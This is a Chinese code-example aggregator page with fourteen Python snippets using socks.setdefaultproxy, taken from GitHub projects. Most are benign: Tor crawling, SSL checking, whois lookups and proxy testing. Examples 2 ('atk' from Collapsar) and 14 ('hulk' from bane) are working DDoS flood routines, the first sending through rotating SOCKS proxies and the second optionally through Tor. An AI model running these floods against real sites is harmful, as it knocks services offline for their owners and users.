当前位置: 首页>>代码示例>>Python>>正文


Python socks.setdefaultproxy方法代码示例

本文整理汇总了Python中socks.setdefaultproxy方法的典型用法代码示例。如果您正苦于以下问题:Python socks.setdefaultproxy方法的具体用法?Python socks.setdefaultproxy怎么用?Python socks.setdefaultproxy使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在socks的用法示例。


在下文中一共展示了socks.setdefaultproxy方法的14个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: __init__

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def __init__(self, server, config = None):
        threading.Thread.__init__(self)
        self.daemon = True
        self.config = config if config is not None else SimpleConfig()
        self.lock = threading.Lock()
        self.is_connected = False
        self.debug = False # dump network messages. can be changed at runtime using the console
        self.message_id = 0
        self.unanswered_requests = {}
        # are we waiting for a pong?
        self.is_ping = False
        # parse server
        self.server = server
        self.host, self.port, self.protocol = self.server.split(':')
        self.port = int(self.port)
        self.use_ssl = (self.protocol == 's')
        self.proxy = self.parse_proxy_options(self.config.get('proxy'))
        if self.proxy:
            self.proxy_mode = proxy_modes.index(self.proxy["mode"]) + 1
            socks.setdefaultproxy(self.proxy_mode, self.proxy["host"], int(self.proxy["port"]))
            socket.socket = socks.socksocket
            # prevent dns leaks, see http://stackoverflow.com/questions/13184205/dns-over-proxy
            def getaddrinfo(*args):
                return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
            socket.getaddrinfo = getaddrinfo 
开发者ID:mazaclub,项目名称:encompass,代码行数:27,代码来源:interface.py

示例2: atk

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def atk(): #Socks Sent Requests
	ua = random.choice(useragent)
	request = "GET " + uu + "?=" + str(random.randint(1,100)) + " HTTP/1.1\r\nHost: " + url + "\r\nUser-Agent: "+ua+"\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n" #Code By GogoZin
	proxy = random.choice(lsts).strip().split(":")
	socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]))
	time.sleep(5)
	while True:
		try:
			s = socks.socksocket()
			s.connect((str(url), int(port)))
			if str(port) =='443':
				s = ssl.wrap_socket(s)
			s.send(str.encode(request))
			print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			try:
				for y in range(per):
					s.send(str.encode(request))
				print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			except:
				s.close()
		except:
			s.close() 
开发者ID:GogoZin,项目名称:Collapsar,代码行数:24,代码来源:collapsar.py

示例3: connectTor

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def connectTor():
	try:
		port = 9050
		# Set socks proxy and wrap the urllib module
		socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', port)
		socket.socket = socks.socksocket

		# Perform DNS resolution through the socket
		def getaddrinfo(*args):
			return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]

		socket.getaddrinfo = getaddrinfo
	except:
		e = sys.exc_info()[0]
		print("Error: %s" % e + "\n## Can't establish connection with TOR") 
开发者ID:MikeMeliz,项目名称:TorCrawl.py,代码行数:17,代码来源:torcrawl.py

示例4: _connectTOR

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def _connectTOR(self):
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, self.localhost, self.port, True)
        socket.socket = socks.socksocket 
开发者ID:agusmakmun,项目名称:Some-Examples-of-Simple-Python-Script,代码行数:5,代码来源:TOR.py

示例5: _newIdentity

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def _newIdentity(self):
        socks.setdefaultproxy()
        
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self.localhost, self.new_port))
        s.send("AUTHENTICATE\r\n")

        self.response = s.recv(128)
        
        if self.response.startswith("250"):
            s.send("SIGNAL NEWNYM\r\n")
        s.close()

        _TOR()._connectTOR() 
开发者ID:agusmakmun,项目名称:Some-Examples-of-Simple-Python-Script,代码行数:16,代码来源:TOR.py

示例6: download

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def download(url, tor=False):
    def create_connection(address, timeout=None, source_address=None):
        sock = socks.socksocket()
        sock.connect(address)
        return sock

    if tor:
        if not HAVE_SOCKS:
            print_error("Missing dependency, install socks (`pip install SocksiPy`)")
            return None

        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
        socket.socket = socks.socksocket
        socket.create_connection = create_connection

    try:
        req = Request(url)
        req.add_header('User-agent', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
        res = urlopen(req)

        data = res.read()
    except HTTPError as e:
        print_error(e)
    except URLError as e:
        if tor and e.reason.errno == 111:
            print_error("Connection refused, maybe Tor is not running?")
        else:
            print_error(e)
    except Exception as e:
        print_error("Failed download: {0}".format(e))
    else:
        return data 
开发者ID:opensourcesec,项目名称:CIRTKit,代码行数:34,代码来源:network.py

示例7: get_cert

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def get_cert(self, host, port, user_args):
        """Connection to the host."""
        if user_args.socks:
            import socks
            if user_args.verbose:
                print('{}Socks proxy enabled{}\n'.format(Clr.YELLOW, Clr.RST))

            socks_host, socks_port = self.filter_hostname(user_args.socks)
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, socks_host, int(socks_port), True)
            socket.socket = socks.socksocket

        if user_args.verbose:
            print('{}Connecting to socket{}\n'.format(Clr.YELLOW, Clr.RST))

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        osobj = SSL.Context(PROTOCOL_TLSv1)
        sock.connect((host, int(port)))
        oscon = SSL.Connection(osobj, sock)
        oscon.set_tlsext_host_name(host.encode())
        oscon.set_connect_state()
        oscon.do_handshake()
        cert = oscon.get_peer_certificate()
        sock.close()
        if user_args.verbose:
            print('{}Closing socket{}\n'.format(Clr.YELLOW, Clr.RST))

        return cert 
开发者ID:narbehaj,项目名称:ssl-checker,代码行数:29,代码来源:ssl_checker.py

示例8: setProxy

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def setProxy(LOCAL_ADDRESS,LOCAL_PORT):
	socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,LOCAL_ADDRESS,LOCAL_PORT)
	socket.socket = socks.socksocket 
开发者ID:NyanChanMeow,项目名称:SSRSpeed,代码行数:5,代码来源:fast.py

示例9: check_one_proxy

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def check_one_proxy(checkmothed,ip,port,method):
    global update_array
    global check_in_one_call
    global target_url,target_string,target_timeout
      
    url=target_url
    checkstr=target_string
    timeout=target_timeout
    if checkmothed=='http':
      if method==1:
        proxy_handler = urllib2.ProxyHandler({'http': 'http://'+ip+':'+str(port)+'/'})
        opener = urllib2.build_opener(proxy_handler)
        urllib2.install_opener(opener) 
      else:
        return  # socks4,socks5 退出函数处理     	  
      	  
    elif checkmothed=='connect':
      if method==1:
        socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, ip, int(port))
      elif method==2:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, ip, int(port))
      elif method==3:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, ip, int(port))
      socks.wrap_module(urllib2) 
         
    send_headers = {
          'User-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)'
          }
    t1=time.time()
    
    try:
    	req = urllib2.Request(url,headers=send_headers)
    	r  = urllib2.urlopen(req,timeout=20)	
    	rehtml=r.read()
    	pos=rehtml.find(checkstr)
    except Exception,e:
    	pos=-1
    	print e 
开发者ID:yfjelley,项目名称:checkproxy,代码行数:40,代码来源:proxy.py

示例10: tcp_socket

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def tcp_socket():
    """Create new tcp socket with proxy support depends on configuration"""
    config = parse_config(os.path.join(os.path.dirname(__file__), '..', 'config.yaml'))
    use_proxy = 'proxy' in config and config['proxy']['use_proxy'] == True
    if use_proxy:
        s = socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, config['proxy']['ip'], config['proxy']['port'], True)
        return socks.socksocket()
    return socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
开发者ID:intezer,项目名称:MoP,代码行数:10,代码来源:utils.py

示例11: _connect

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def _connect(self):
        global _server_ip, _proxy_ip
        host = _server_ip.get_server_ip(self.whois_srv)  # 服务器地址
        host = host if host else self.whois_srv
        if flag_proxy:
            proxy_info = _proxy_ip.get(self.whois_srv)  # 代理IP
            if proxy_info is not None:
                socks.setdefaultproxy(
                        proxytype=socks.PROXY_TYPE_SOCKS4 if proxy_info.mode == 4 else socks.PROXY_TYPE_SOCKS5,
                        addr=proxy_info.ip,
                        port=proxy_info.port)
                socket.socket = socks.socksocket
                self.tcpCliSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(20)
        data_result = ""
        try:
            self.tcpCliSock.connect((host, 43))
            self.tcpCliSock.send(self.request_data + '\r\n')
        except socket.error as e:
            if str(e).find("timed out") != -1:  # 连接超时
                return "ERROR -1"
            elif str(e).find("Temporary failure in name resolution") != -1:
                return "ERROR -2"
            else:
                return "ERROR OTHER"

        while True:
            try:
                data_rcv = self.tcpCliSock.recv(1024)
            except socket.error as e:
                return "ERROR -3"
            if not len(data_rcv):
                return data_result  # 返回查询结果
            data_result = data_result + data_rcv  # 每次返回结果组合 
开发者ID:h-j-13,项目名称:Malicious_Domain_Whois,代码行数:36,代码来源:whois_connect.py

示例12: updateIp

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def updateIp(self):
  self.restartTor()
  socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,'127.0.0.1',9050,True)
  socket.socket=socks.socksocket 
开发者ID:importCTF,项目名称:Instagram-Hacker,代码行数:6,代码来源:tor.py

示例13: connect

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def connect(self):
		def renew_tor():
			import socket

			s = socket.socket()
			s.connect(('localhost', 9050))

			s.send('AUTHENTICATE "{0}"\r\n'.format("123"))
			resp = s.recv(1024)

			if resp.startswith('250'):
				s.send("signal NEWNYM\r\n")

				resp = s.recv(1024)

				if resp.startswith('250'):
					print ("TOR Identity Renewed")
				else:
					print ("response 2: "+resp)
			else:
				print ("response 1: "+resp)

		try:
			renew_tor()
			import socks
			import socket
			import mechanize
			from mechanize import Browser

			def create_connection(address, timeout=None, source_address=None):
				sock = socks.socksocket()
				sock.connect(address)
				return sock

			socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)

			# patch the socket module
			socket.socket = socks.socksocket
			socket.create_connection = create_connection

			br = Browser()
			print ("New Identity: " + br.open('http://icanhazip.com').read())

		except Exception as e:
			print(" [-] " + str(e))
			print(" [!] " + "Check if TOR is running on 127.0.0.1:9050")
			exit() 
开发者ID:fnk0c,项目名称:cangibrina,代码行数:49,代码来源:connection.py

示例14: hulk

# 需要导入模块: import socks [as 别名]
# 或者: from socks import setdefaultproxy [as 别名]
def hulk(u,threads=700,timeout=10,duration=300,logs=True,returning=False,set_tor=False):
 '''
   this function is used for hulk attack with more complex modification (more than 10k useragents and references, also a better way to generate random http GET parameters.
    
   it takes the following parameters:

   u: target domain
   threads: (set by default to: 700) number of connections
   timeout: (set by default to: 10) connection timeout flag

   example:

   >>>import bane
   >>>bane.hulk_attack('www.google.com',threads=1000)

'''
 thr=[]
 global hulk_counter
 hulk_counter=0
 if set_tor==True:
  socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
  socket.socket = socks.socksocket
 global stop
 stop=False
 global prints
 prints=logs
 global target
 target=u
 global _timeout
 _timeout=timeout
 for x in range(threads):
  try:
   t= hu()
   t.start()
   thr.append(t)
  except:
    pass
 c=time.time()
 while True:
  if stop==True:
   break
  try:
   time.sleep(.1)
   if int(time.time()-c)==duration:
    stop=True
    break
  except KeyboardInterrupt:
   stop=True
   break
 if logs==True:
     print("[*]Killing all threads...")
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
 if logs==True:
     print("[*]Done!")
 if returning==True:
  return hulk_counter 
开发者ID:AlaBouali,项目名称:bane,代码行数:63,代码来源:ddos.py


注:本文中的socks.setdefaultproxy方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。